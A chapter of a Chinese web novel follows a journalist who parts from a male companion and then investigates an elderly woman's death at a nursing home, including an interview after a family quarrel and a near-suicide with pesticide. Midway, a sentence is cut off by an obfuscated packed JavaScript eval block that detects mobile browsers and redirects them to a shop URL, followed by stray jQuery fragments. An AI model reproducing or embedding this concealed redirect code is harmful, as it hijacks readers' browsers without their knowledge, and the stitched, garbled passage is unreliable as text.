第二天清晨，梁知予被手机闹钟吵醒。


    意识还未完全清醒，她伸手摩挲着关了闹钟，迷迷糊糊地翻了个身。


    眼睛还未睁开，她的耳边突然传来一道低沉的声线：“占着我的床，睡得还舒服吗？”


    瞬间，梁知予意识回神。


    昨晚的记忆复归原位。


    “我……”她捂着头坐起来，“在你这里睡着了？”


    “这不是显而易见么。”


    舒橪靠床头坐着，云淡风轻地抱着胳膊说。


    “昨晚还说我占你便宜，现在，又是谁占谁的便宜？”


    梁知予面上发窘道：“我不是故意的。”


    身上衣服还是睡前的那套，鞋子被脱在了床边，梳的丸子头也被拆开，黑色发圈放在床头，和她口袋里的零碎小东西一起。


    ……他倒是细心。


    梁知予揉揉眼睛，起身穿鞋。


    “昨晚麻烦你了。”她背朝着他说，“要不，我请你吃早餐？”


    舒橪翻身起床，随手理了理睡得凌乱的头发，“先欠着吧。我一会儿还有事，过半小时就要走。”


    梁知予看了眼手机时间，现在七点钟刚过，窗帘外，天光尚未全明。


    原来他都这么早出门，她想。


    怪不得几乎都见不上面。


    余光里瞥见房间里的桌子，纸页散乱，边上还放着两个空掉的啤酒罐，和她睡前最后印象里的场景不同，于是问道：“你昨晚几点睡的？”


    “两点多，”舒橪答道，“在绥城待不了几天了，有些工作要赶进度。”


    “接下来还要去哪？”


    “先回松川，过个两三天，再往西北走。”


    舒橪报了个边陲小城的名字，梁知予只在新闻报道里听过。


    “那么远啊……”她喃喃。


    坐飞机都要五个多小时。


    “嗯，挺远的。”


    不知为什么，梁知予有些怅然。


    读书的时候，她从地图上认识世界，比例尺缩放再缩放，交通也便利，总以为哪哪都很近。直到工作之后，频繁来往各地出差采访，才真正对天地宽广有了实感。


    也对离别有了实感。


    她走进卫生间，对着镜子不言不语地扎头发。


    镜子明净，映出她未施粉黛的素净面容，只是眉心颦蹙，看起来心事重重。


    皮筋在头发上绕了三圈，稳稳把青丝束起。梁知予做了个深呼吸，把胸中那些莫名而来的烦躁统统压了回去，打开水龙头洗手。


    “我要回房间了。”


    从卫生间出来，她对舒橪说。


    “嗯，我帮你把水提回去。”


    昨晚买的桶装水，还原封不动地放在进门的行李架上。舒橪轻轻松松地单手拎起，一路送去了梁知予的房间。


    东西送到，他也并不停留，简简单单道了别，转头离去。


    房间骤然空下来。


    手腕处还萦绕着清幽的药香，丝丝缕缕，缠着嗅觉不放。


    梁知予背抵着房门，若有所思地摩挲上过药的皮肤，昨晚按摩纾解的触感似乎犹在，悄无声息地挑动她的神经。


    她转身，掀开房门猫眼上的盖板，透过小孔朝外看去。


    舒橪竟也还未走。


    他双手插兜，背光而立，脚边投下一道暗色调的阴影，站定如塑像。


    五指已经压在了门把手上，只需稍稍用力，面前这道阻隔即可轻易消解。


    梁知予的心怦怦直跳。


    她说不清自己是期待听见敲门，还是更想主动开门，殊途同归的结果，偏让她陷入举棋不定，像个庸人自扰的傻瓜。


    视线里，舒橪动了动。


    梁知予下意识回避开眼神，盖上了猫眼。


    寂静的房间里，只能听见中央空调运行的隐噪。空气短暂凝固起来，连同她的身体一起，演出一段中场暂停的默剧。


    良久，无人敲门。


    梁知予重新掀开那枚小小的金属圆片，向外探去眼神。


    门外，早已没有了任何人的影踪。


    *


    往后的两天，梁知予把自己关在房间里，埋头写稿。


    阿萍并未主动联系她，刘家的号码也变成了空号，她深知希望渺茫，索性不再抱有幻想，推翻了原先的大纲，重拟一版，按照全新的思路，开始梳理当前的已知信息。


    越往后看，一个念头却在脑海里盘桓得越发活跃起来：


    这位去世的金奶奶，真的没有认知方面的障碍吗？


    根据唐静还有其他老人的描述，金奶奶用错东西的频率实在高得离谱，以至于最开始还愿意相信她是无心之失的室友冯奶奶，也彻底和她闹僵了关系，坚决提出更换房间。


    除此之外，养老院的另一位护工表示，金奶奶好几次指着她叫别人的名字。


    梁知予翻阅过资料，主观认知下降，的确是阿尔兹海默症初期的典型症状。但是在金奶奶两个儿子的口中，却只轻描淡写地声称，他们的母亲有些健忘。


    唐静告诉梁知予，按照养老院的入院规定，她暂不接收老年痴呆症，或是精神方面有问题的老人，一旦确诊，需要由家属出面领回。


    “如果是卧病在床，没法自理的老人，虽然要我们多花点时间和精力照顾，但也只是累点忙点，还在能力范围之内。”唐静在电话里说。


    “可如果精神方面出了问题，我们真的顾不过来。尤其是那种能走能动的，我们又不能把他关起来，可也抽不出人手二十四小时盯着。所以我额外写了规定，暂时不接收这样的老人，如果确诊的这方面的疾病，家属必须把人领回去，费用可以退。”


    “你没怀疑过金奶奶有可能患病吗？”梁知予问。


    唐静犹豫了一下，说：“金奶奶的情况，确实有点像，但除了经常拿错东西和偶尔认错人，倒也没有别的症状，基本生活都能自理。”


    “我们之前有过误认为老人患痴呆症的前例，家属带去做了体检，显示没有问题，回来就把我大骂了一通。所以对于这种问题，我们的态度也比较谨慎，在每月给家属的情况反馈中有所提及，但也很难强迫人家去检查。”


    如果金奶奶确实患有阿尔兹海默症，结合养老院对接收老人的相关规定，会影响判决的结果吗？


    结束和唐静的通话，梁知予又陷入了沉思。


    要想最终确认金奶奶是否患病，最稳妥的办法，就是进行解剖，从其脑组织的病变程度做出判断。


    可是家属有可能同意吗？


    就在梁知予对着电脑出神时，手机铃声突然急促地响起。


    来电显示，是一串归属地在绥城的陌生号码。


    她接起，“喂，你好。”


    下一秒，电话里传来的女声，让梁知予立刻坐直了身体。


    “你、你是那个记者吗？”阿萍的语气焦灼，“上次说过的，如果我们改变主意，可以来找你。”


    梁知予起初还不敢相信自己的耳朵，难以置信运气来得如此之快，愣愣道：“所以你们现在……”


    “哎呀，你听不懂我说话吗？我婆婆愿意接受采访，就现在，你快过来！”


    突如其来的转圜，让梁知予喜出望外之余，又有些摸不着头脑。


    直到她风尘仆仆地赶到了刘家。


    院门大开，她畅通无阻地进入室内，在一楼客厅里，见到了满面愁容的阿萍，以及双眼通红的刘秀梅。


    “出什么事了？”梁知予环顾四周，遍地的凌乱，似乎刚刚发生过激烈的冲突，“要不要报警？”


    阿萍拉住她坐下，严肃道：“记者，今天是我自作主张请你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16004187|176067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过来的。不过你放心，刚才我已经劝过我婆婆了，她会配合你。”


    她又转向刘秀梅：“妈，家里已经鸡飞狗跳成这样了，还怕闹得更大不成？你就一五一十地回答记者的问题，把话通通说出来。”


    在梁知予听来，此话与打哑谜无异。


    “刘阿姨到底怎么了？”她皱眉问道，“难道是金奶奶的家属来吵架了？”


    刘秀梅低头啜泣，说不出话，只有阿萍长长叹了一口气：“我倒情愿是他们。”


    她说着起身，走到墙角的垃圾桶边，伸手捡出一个深棕色的玻璃瓶。


    “刚才我公公回来了，和婆婆大吵一架，说话难听得不得了，我婆婆一气之下差点要喝农药，还好我及时拦着，否则，就要出人命了！”


    瓶中的药液已经被阿萍尽数倾倒干净，但稍微靠近，还是能闻到一股极其刺鼻的气味。


    梁知予惊骇道：“怎么会闹成这样？”


    “他鬼上身了呗。”阿萍没好气道，“不知道去哪喝得醉醺醺，一回来就骂人，说什么以后在邻里面前抬不起头，要他婆娘去死。从楼上闹到楼下，连院子里的狗都被他踹了一脚。”


    “我儿子躲在屋里不敢出来，还想找他爸爸回来当救兵——我呸！那也是个窝囊货色，怕他老子怕得要死，只知道躲在外面当缩头乌龟。”


    听她一顿痛骂，刘秀梅倒渐渐止住了眼泪，鼻音浓重道：“阿萍，你也别那么说他。”


    阿萍气极反笑：“你还护着他？好啊，下次不管你要喝农药还是吃炸药，我就当没看见！”


    眼看气氛又要僵持，梁知予连忙转移话题：“刘阿姨，您不是说，愿意接受我的采访吗？我的问题都已经准备好了，咱们什么时候能开始？”


    刘秀梅擦干眼泪，吸了吸鼻子，“就现在吧。我也有挺多想说的。”


    *


    第二天，梁知予接到了唐静的电话，说久无音信的刘秀梅终于愿意和她面对面沟通，人即将到达养老院的所在地址。


    梁知予并不意外，只是在听闻死者家属也会在场时，略微感到诧异。


    昨晚，她熬了个通宵，稿子进度已过半。庭审流程漫长，她无法在绥城停留那么久，如果接下来没有什么大的变故，预计过两天就启程回松川。


    舒橪知道她准备离开，说要一起。


    车票和机票很快就订好，都是双人的座次。舒橪那边一并付了款，梁知予转钱给他，他不收。


    临行前，梁知予收到唐静的微信。


    【我也不确定，家属会不会同意尸检。但王律鼓励我，说总要去试一试，毕竟关系赔偿金额的判定。


    其实我知道，不管金奶奶病没病，她去世的主要责任都在我，我也不会逃避什么。只是如果金奶奶真的病了，我必须把这件事告诉其他的老人，不能让她死后还要受着误解。】


    火车检票的提示声响起，梁知予排在进站长队里，看着手机，久久地沉默。


    记忆再度回到采访刘秀梅的那天。


    “其实金奶奶用错别人的东西，就像是无意识的，类似脑子短路，认为那东西本来就是她的。后来，我每次都提醒她，她好像终于明白过来，也很歉疚，主动和我说，让我把她的东西都贴上标签，缝上记号。”


    “所以，出事的时候，我在洗衣房里，给她的杂物做标记。”


    “那时候是户外活动时间，我叮嘱金奶奶的同屋老人帮她带下去晒太阳，她答应了。”


    “我也没想到，她根本没带人下去，等到我想起来去看的时候……”


    为时已晚。


    金奶奶倒在地上的时候，她并不知道，楼下院子里，正在进行关于她的批评大会。余下的老人聚集在一起，旗帜鲜明地表达对她偷用别人物品的愤恨。


    不过，她也永远不会知道了